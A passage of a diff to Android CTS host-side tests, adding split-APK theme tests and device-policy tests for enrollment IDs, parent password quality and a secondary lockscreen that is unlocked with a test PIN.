+ public void launchWarmActivity_withThemeRoseLt_roseLtApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+ }
+
+ @Test
+ public void launchRoseActivity_withThemeWarm_warmApplied() {
+ assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+ }
+
+ @Test
+ public void launchRoseActivity_withThemeWarmLt_warmLtApplied() {
+ assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+ }
+
+ @Test
+ public void launchRoseActivity_withThemeRose_roseApplied() {
+ assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+ }
+
+ @Test
+ public void launchRoseActivity_withThemeRoseLt_roseLtApplied() {
+ assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+ }
+
+ private void assertActivityLaunchedAndThemeApplied(String activityName, int themeResId,
+ ThemeColors themeColors) {
+ final Activity activity = mActivityRule.launchActivity(
+ getTestThemeIntent(activityName, themeResId));
+ final TestThemeHelper expected = new TestThemeHelper(activity, themeResId);
+ expected.assertThemeValues(themeColors);
+ expected.assertThemeApplied(activity);
+ }
+
private static Context getContext() {
return InstrumentationRegistry.getInstrumentation().getTargetContext();
}
@@ -660,4 +879,17 @@
is.close();
}
}
+
+ private int resolveResourceId(String nameOfIdentifier) {
+ final int resId = getContext().getResources().getIdentifier(nameOfIdentifier, null, null);
+ assertTrue("Resource not found: " + nameOfIdentifier, resId != 0);
+ return resId;
+ }
+
+ private static Intent getTestThemeIntent(String activityName, int themeResId) {
+ final Intent intent = new Intent(ThemeActivity.INTENT_THEME_TEST);
+ intent.setComponent(ComponentName.createRelative(PKG, activityName));
+ intent.putExtra(ThemeActivity.EXTRAS_THEME_RES_ID, themeResId);
+ return intent;
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
new file mode 100644
index 0000000..8eba5cd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.view.ContextThemeWrapper;
+import android.view.View;
+import android.view.Window;
+import android.widget.LinearLayout;
+
+/**
+ * A helper class to retrieve theme values of Theme_Base and Theme_Warm and Theme_Rose.
+ */
+public class TestThemeHelper {
+
+ public static final String THEME_WARM =
+ "com.android.cts.splitapp.feature_warm:style/Theme_Warm";
+ public static final String THEME_ROSE =
+ "com.android.cts.splitapp.feature_rose:style/Theme_Rose";
+
+ public enum ThemeColors {
+ BASE,
+ BASE_LT,
+ WARM,
+ WARM_LT,
+ ROSE,
+ ROSE_LT
+ };
+
+ private static final int COLOR_BLUE = 0xFF0000FF;
+ private static final int COLOR_TEAL = 0xFF008080;
+ private static final int COLOR_AQUA = 0xFF00FFFF;
+ private static final int COLOR_BLUE_LT = 0xFFADD8E6;
+ private static final int COLOR_TEAL_LT = 0xFFE0F0F0;
+ private static final int COLOR_AQUA_LT = 0xFFE0FFFF;
+ private static final int COLOR_RED = 0xFFFF0000;
+ private static final int COLOR_YELLOW = 0xFFFFFF00;
+ private static final int COLOR_RED_LT = 0xFFFFCCCB;
+ private static final int COLOR_ORANGE_LT = 0xFFFED8B1;
+ private static final int COLOR_PINK = 0xFFFFC0CB;
+ private static final int COLOR_RUBY = 0xFFCC0080;
+ private static final int COLOR_PINK_LT = 0xFFFFB6C1;
+ private static final int COLOR_ROSE_LT = 0xFFFF66CC;
+
+ private static final int[] THEME_BASE_COLORS = {COLOR_BLUE, COLOR_TEAL, COLOR_AQUA};
+ private static final int[] THEME_BASE_LT_COLORS = {COLOR_BLUE_LT, COLOR_TEAL_LT, COLOR_AQUA_LT};
+ private static final int[] THEME_WARM_COLORS = {COLOR_RED, COLOR_TEAL, COLOR_YELLOW};
+ private static final int[] THEME_WARM_LT_COLORS =
+ {COLOR_RED_LT, COLOR_ORANGE_LT, COLOR_AQUA_LT};
+ private static final int[] THEME_ROSE_COLORS = {COLOR_PINK, COLOR_TEAL, COLOR_RUBY};
+ private static final int[] THEME_ROSE_LT_COLORS = {COLOR_PINK_LT, COLOR_ROSE_LT, COLOR_AQUA_LT};
+
+ /** {@link com.android.cts.splitapp.R.attr.customColor} */
+ private final int mCustomColor;
+
+ /** {#link android.R.attr.colorBackground} */
+ private final int mColorBackground;
+
+ /** {#link android.R.attr.navigationBarColor} */
+ private final int mNavigationBarColor;
+
+ /** {#link android.R.attr.statusBarColor} */
+ private final int mStatusBarColor;
+
+ /** {#link android.R.attr.windowBackground} */
+ private final int mWindowBackground;
+
+ public TestThemeHelper(Context context, int themeResId) {
+ final Resources.Theme theme = new ContextThemeWrapper(context, themeResId).getTheme();
+ mCustomColor = getColor(theme, R.attr.customColor);
+ mColorBackground = getColor(theme, android.R.attr.colorBackground);
+ mNavigationBarColor = getColor(theme, android.R.attr.navigationBarColor);
+ mStatusBarColor = getColor(theme, android.R.attr.statusBarColor);
+ mWindowBackground = getDrawableColor(theme, android.R.attr.windowBackground);
+ }
+
+ public void assertThemeValues(ThemeColors themeColors) {
+ final int[] colors = getThemeColors(themeColors);
+ assertThat(themeColors).isNotNull();
+ assertThat(mCustomColor).isEqualTo(colors[0]);
+ assertThat(mNavigationBarColor).isEqualTo(colors[1]);
+ assertThat(mStatusBarColor).isEqualTo(colors[2]);
+ assertThat(mWindowBackground).isEqualTo(mCustomColor);
+ }
+
+ private int[] getThemeColors(ThemeColors themeColors) {
+ switch (themeColors) {
+ case BASE: return THEME_BASE_COLORS;
+ case BASE_LT: return THEME_BASE_LT_COLORS;
+ case WARM: return THEME_WARM_COLORS;
+ case WARM_LT: return THEME_WARM_LT_COLORS;
+ case ROSE: return THEME_ROSE_COLORS;
+ case ROSE_LT: return THEME_ROSE_LT_COLORS;
+ default:
+ break;
+ }
+ return null;
+ }
+
+ public void assertThemeApplied(Activity activity) {
+ assertLayoutBGColor(activity, mCustomColor);
+
+ final Window window = activity.getWindow();
+ assertThat(window.getStatusBarColor()).isEqualTo(mStatusBarColor);
+ assertThat(window.getNavigationBarColor()).isEqualTo(mNavigationBarColor);
+ assertDrawableColor(window.getDecorView().getBackground(), mWindowBackground);
+
+ assertTextViewBGColor(activity);
+ }
+
+ private int getColor(Resources.Theme theme, int resourceId) {
+ final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+ final int color = ta.getColor(0, 0);
+ ta.recycle();
+ return color;
+ }
+
+ private int getDrawableColor(Resources.Theme theme, int resourceId) {
+ final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+ final Drawable color = ta.getDrawable(0);
+ ta.recycle();
+ if (!(color instanceof ColorDrawable)) {
+ fail("Can't get drawable color");
+ }
+ return ((ColorDrawable) color).getColor();
+ }
+
+ private void assertLayoutBGColor(Activity activity, int expected) {
+ final LinearLayout layout = activity.findViewById(R.id.content);
+ final Drawable background = layout.getBackground();
+ assertDrawableColor(background, expected);
+ }
+
+ private void assertDrawableColor(Drawable drawable, int expected) {
+ int color = 0;
+ if (drawable instanceof ColorDrawable) {
+ color = ((ColorDrawable) drawable).getColor();
+ } else {
+ fail("Can't get drawable color");
+ }
+ assertThat(color).isEqualTo(expected);
+ }
+
+ private void assertTextViewBGColor(Activity activity) {
+ final View view = activity.findViewById(R.id.text);
+ final Drawable background = view.getBackground();
+ assertDrawableColor(background, mColorBackground);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
new file mode 100644
index 0000000..3931a55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class ThemeActivity extends Activity {
+ static final String INTENT_THEME_TEST = "com.android.cts.splitapp.intent.THEME_TEST";
+ static final String EXTRAS_THEME_RES_ID = "com.android.cts.splitapp.intent.extra.THEME_RES_ID";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = getIntent();
+ final int themeResId = intent.getIntExtra(EXTRAS_THEME_RES_ID, R.style.Theme_Base);
+ setTheme(themeResId);
+ setContentView(R.layout.base_linearlayout);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/stubime/Android.bp b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
index 0038c05..7dc9cca 100644
--- a/hostsidetests/appsecurity/test-apps/stubime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
@@ -24,6 +24,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
certificate: ":cts-testkey1",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/stubime/OWNERS b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
new file mode 100644
index 0000000..ea4fd8f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 34867
+include platform/frameworks/base:/services/core/java/com/android/server/inputmethod/OWNERS
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
index 81cd918..aa9f439 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
@@ -38,7 +38,7 @@
protected static final long PARTIAL_FILE_LENGTH_BYTES = 2002;
protected static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
- protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 10_000;
+ protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 30_000;
protected Context mContext;
protected Instrumentation mInstrumentation;
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
index 599bd8e..476c109 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
@@ -24,12 +24,12 @@
import android.util.Log;
import java.io.ByteArrayInputStream;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.spec.PKCS8EncodedKeySpec;
import java.security.KeyFactory;
import java.security.PrivateKey;
import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
import java.util.List;
/**
@@ -55,6 +55,9 @@
// exercises {@link DevicePolicyManager#installKeyPair},
private static final String ACTION_INSTALL_KEYPAIR =
"com.android.cts.certinstaller.install_keypair";
+ // exercises {@link DevicePolicyManager#getEnrollmentSpecificId}
+ private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+ "com.android.cts.certinstaller.read_esid";
private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
@@ -141,10 +144,17 @@
Log.e(TAG, "Exception raised duing ACTION_INSTALL_KEYPAIR", e);
sendResult(context, false, e);
}
+ } else if (ACTION_READ_ENROLLMENT_SPECIFIC_ID.equals(action)) {
+ try {
+ final String esid = dpm.getEnrollmentSpecificId();
+ sendResult(context, !esid.isEmpty(), null);
+ } catch (SecurityException e) {
+ Log.e(TAG, "Exception raised during ACTION_READ_ENROLLMENT_SPECIFIC_ID", e);
+ sendResult(context, false, e);
+ }
}
}
-
private void sendResult(Context context, boolean succeed, Exception e) {
Intent intent = new Intent();
intent.setAction(ACTION_CERT_OPERATION_DONE);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 891bd72..7e4cd3d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -63,14 +63,14 @@
mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, DISALLOW_AUTOFILL);
// Must try a couple times because it will be disabled asynchronously.
- for (int i = 1; i <= 5; i++) {
+ for (int i = 1; i <= 15; i++) {
final boolean disabledAfter = !launchActivityAndGetEnabled();
if (disabledAfter) {
return;
}
Thread.sleep(100);
}
- fail("Not disabled after 2.5s");
+ fail("Not disabled after a period of time");
}
private boolean launchActivityAndGetEnabled() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index 45bfe40..f700c69 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -60,6 +60,8 @@
private static final String ACTION_INSTALL_KEYPAIR =
"com.android.cts.certinstaller.install_keypair";
private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
+ private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+ "com.android.cts.certinstaller.read_esid";
private static final String EXTRA_CERT_DATA = "extra_cert_data";
private static final String EXTRA_KEY_DATA = "extra_key_data";
@@ -313,6 +315,19 @@
assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
}
+ public void testCanReadEnrollmentSpecificId() throws InterruptedException {
+ // Set the organization ID only if not already set, to avoid potential conflict
+ // with other tests.
+ if (mDpm.getEnrollmentSpecificId().isEmpty()) {
+ mDpm.setOrganizationId("SOME_ID");
+ }
+ mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
+ CERT_INSTALL_SCOPES);
+
+ readEnrollmentId();
+ assertResult("testCanReadEnrollmentSpecificId", true);
+ }
+
private void installCaCert(byte[] cert) {
Intent intent = new Intent();
intent.setAction(ACTION_INSTALL_CERT);
@@ -373,4 +388,12 @@
intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
mContext.sendBroadcast(intent);
}
+
+ private void readEnrollmentId() {
+ Intent intent = new Intent();
+ intent.setAction(ACTION_READ_ENROLLMENT_SPECIFIC_ID);
+ intent.setComponent(CERT_INSTALLER_COMPONENT);
+ intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+ mContext.sendBroadcast(intent);
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
index a2c8832..92c7a56 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -16,6 +16,9 @@
package com.android.cts.deviceandprofileowner;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
import static com.google.common.truth.Truth.assertThat;
@@ -127,4 +130,17 @@
restriction));
}
+ public void testCanSetPasswordQualityOnParent() {
+ mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ PASSWORD_QUALITY_COMPLEX);
+ try {
+ assertThat(mParentDevicePolicyManager.getPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT)).isEqualTo(PASSWORD_QUALITY_COMPLEX);
+ assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+ } finally {
+ // Cleanup
+ mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ PASSWORD_QUALITY_UNSPECIFIED);
+ }
+ }
}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index 656210f..e014f13 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -17,38 +17,57 @@
package com.android.cts.deviceandprofileowner;
import static com.android.compatibility.common.util.TestUtils.waitUntil;
-import static org.testng.Assert.assertThrows;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.os.PowerManager;
import android.os.Process;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.Until;
-import android.util.Log;
-import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.List;
-public class SecondaryLockscreenTest extends BaseDeviceAdminTest {
+@RunWith(AndroidJUnit4.class)
+public class SecondaryLockscreenTest {
- private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 5000;
+ private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 10000;
private static final String TAG = "SecondaryLockscreenTest";
+ private Context mContext;
+ private DevicePolicyManager mDevicePolicyManager;
private UiDevice mUiDevice;
@Before
- @Override
public void setUp() throws Exception {
- super.setUp();
+ mContext = InstrumentationRegistry.getContext();
+ assumeTrue(
+ "Device does not support secure lock",
+ mContext.getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_SECURE_LOCK_SCREEN));
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- runShellCommand("locksettings set-pin 1234");
+ mUiDevice.executeShellCommand("locksettings set-disabled false");
+ mUiDevice.executeShellCommand("locksettings set-pin 1234");
mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_RECEIVER_COMPONENT,
mContext.getPackageName());
@@ -59,14 +78,14 @@
}
@After
- @Override
public void tearDown() throws Exception {
- super.tearDown();
mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, false);
assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
- runShellCommand("locksettings clear --old 1234");
+ mUiDevice.executeShellCommand("locksettings clear --old 1234");
+ mUiDevice.executeShellCommand("locksettings set-disabled true");
}
+ @Test
public void testSetSecondaryLockscreenEnabled() throws Exception {
enterKeyguardPin();
assertTrue("Lockscreen title not shown",
@@ -80,6 +99,7 @@
verifyHomeLauncherIsShown();
}
+ @Test
public void testHomeButton() throws Exception {
enterKeyguardPin();
assertTrue("Lockscreen title not shown",
@@ -91,6 +111,7 @@
verifySecondaryLockscreenIsShown();
}
+ @Test
public void testDismiss() throws Exception {
enterKeyguardPin();
assertTrue("Lockscreen title not shown",
@@ -107,25 +128,24 @@
verifySecondaryLockscreenIsShown();
}
+ @Test(expected = SecurityException.class)
public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
- assertThrows(SecurityException.class,
- () -> mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true));
+ mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true);
}
private void enterKeyguardPin() throws Exception {
final PowerManager pm = mContext.getSystemService(PowerManager.class);
- runShellCommand("input keyevent KEYCODE_SLEEP");
- waitUntil("Device still interactive", 5,
- () -> pm != null && !pm.isInteractive());
- runShellCommand("input keyevent KEYCODE_WAKEUP");
- waitUntil("Device still not interactive", 5,
- () -> pm.isInteractive());
- runShellCommand("wm dismiss-keyguard");
- mUiDevice.wait(Until.hasObject(By.res("com.android.systemui", "pinEntry")),
- UI_AUTOMATOR_WAIT_TIME_MILLIS);
- runShellCommand("input text 1234");
- runShellCommand("input keyevent KEYCODE_ENTER");
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ waitUntil("Device still interactive", 5, () -> pm != null && !pm.isInteractive());
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ waitUntil("Device still not interactive", 5, () -> pm.isInteractive());
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ mUiDevice.wait(
+ Until.hasObject(By.res("com.android.systemui", "pinEntry")),
+ UI_AUTOMATOR_WAIT_TIME_MILLIS);
+ mUiDevice.executeShellCommand("input text 1234");
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_ENTER");
}
private void verifyHomeLauncherIsShown() {
@@ -159,4 +179,4 @@
}
return resolveInfos.isEmpty() ? null : resolveInfos.get(0).activityInfo.packageName;
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
index 0c81063..10246cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
@@ -24,10 +24,11 @@
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.Display;
+import android.view.Gravity;
import android.view.SurfaceControlViewHost;
import android.view.View;
import android.widget.Button;
-import android.widget.RelativeLayout;
+import android.widget.LinearLayout;
import android.widget.TextView;
/**
@@ -62,6 +63,8 @@
title.setText(TITLE_LABEL);
Button button = new Button(context);
+ // Avoid potential all caps text transformation on button. (eg. b/172993563)
+ button.setTransformationMethod(null);
button.setText(DISMISS_BUTTON_LABEL);
button.setOnClickListener(ignored -> {
button.setText("Dismissing...");
@@ -69,10 +72,12 @@
dismiss();
});
- RelativeLayout rootView = new RelativeLayout(context);
+ LinearLayout rootView = new LinearLayout(context);
+ rootView.setOrientation(LinearLayout.VERTICAL);
+ rootView.setGravity(Gravity.CENTER);
rootView.setBackgroundColor(Color.WHITE);
rootView.addView(title);
rootView.addView(button);
return rootView;
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 2f48dce..dee06b6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -15,10 +15,14 @@
*/
package com.android.cts.deviceowner;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.UserIdInt;
import android.app.Instrumentation;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.pm.PackageManager;
+import android.os.UserHandle;
import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
@@ -38,6 +42,8 @@
protected Instrumentation mInstrumentation;
protected UiDevice mDevice;
protected boolean mHasSecureLockScreen;
+ /** User running the test (obtained from {@code mContext}). */
+ protected @UserIdInt int mUserId;
@Override
protected void setUp() throws Exception {
@@ -45,17 +51,27 @@
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mDevice = UiDevice.getInstance(mInstrumentation);
- mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mDevicePolicyManager = DevicePolicyManagerWrapper.get(mContext);
mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+ mUserId = mContext.getUserId();
+
assertDeviceOwner();
}
private void assertDeviceOwner() {
- assertNotNull(mDevicePolicyManager);
- assertTrue(mDevicePolicyManager.isAdminActive(getWho()));
- assertTrue(mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName()));
- assertFalse(mDevicePolicyManager.isManagedProfile(getWho()));
+ int myUserId = UserHandle.myUserId();
+ assertWithMessage("DPM for user %s", myUserId).that(mDevicePolicyManager).isNotNull();
+
+ ComponentName admin = getWho();
+ assertWithMessage("Component %s is admin for user %s", admin, myUserId)
+ .that(mDevicePolicyManager.isAdminActive(admin)).isTrue();
+
+ String pkgName = mContext.getPackageName();
+ assertWithMessage("Component %s is device owner for user %s", admin, myUserId)
+ .that(mDevicePolicyManager.isDeviceOwnerApp(pkgName)).isTrue();
+ assertWithMessage("Component %s is profile owner for user %s", admin, myUserId)
+ .that(mDevicePolicyManager.isManagedProfile(admin)).isFalse();
}
protected ComponentName getWho() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
index 37b3ed7..efab90d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
@@ -20,6 +20,7 @@
import android.content.Context;
import android.content.Intent;
import android.os.UserHandle;
+
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
public class BasicAdminReceiver extends DeviceAdminReceiver {
@@ -40,6 +41,15 @@
}
@Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent.getAction().equals(DevicePolicyManagerWrapper.ACTION_WRAPPED_DPM_CALL)) {
+ DevicePolicyManagerWrapper.onReceive(this, context, intent);
+ return;
+ }
+ super.onReceive(context, intent);
+ }
+
+ @Override
public void onUserAdded(Context context, Intent intent, UserHandle userHandle) {
super.onUserAdded(context, intent, userHandle);
sendUserBroadcast(context, ACTION_USER_ADDED, userHandle);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java
new file mode 100644
index 0000000..8ff7e4af
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java
